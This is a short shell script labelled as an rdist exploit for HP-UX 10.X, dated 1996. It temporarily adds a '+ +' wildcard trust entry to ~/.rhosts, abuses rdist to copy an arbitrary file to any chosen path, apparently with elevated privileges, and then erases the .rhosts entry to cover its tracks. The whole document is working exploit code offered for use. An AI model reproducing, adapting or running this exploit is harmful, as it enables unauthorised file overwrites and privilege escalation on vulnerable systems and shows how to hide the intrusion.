#!/bin/ksh # SOD rdist exploit for HP/UX 10.X # Boner 10Aug96 if [ -z "$2" ] then echo "usage: rdcp from to" exit fi FROM=$1 TO=$2 TMP=/tmp/.tmp$$ HOME=`pwd` if [ "${FROM}" = "${FROM#/}" ] then FROM=$HOME/$FROM fi echo '+ +' >> ~/.rhosts echo "Copying $FROM to $TO" rdist -f - << EOF > /dev/null 2>&1 ${FROM} -> localhost install ${TMP}; EOF mv ${TMP} ${TO} grep -v "+ +" ~/.rhosts > $TMP mv ${TMP} ~/.rhosts if [ -f ${TMP} ]; then rm ${TMP}; fi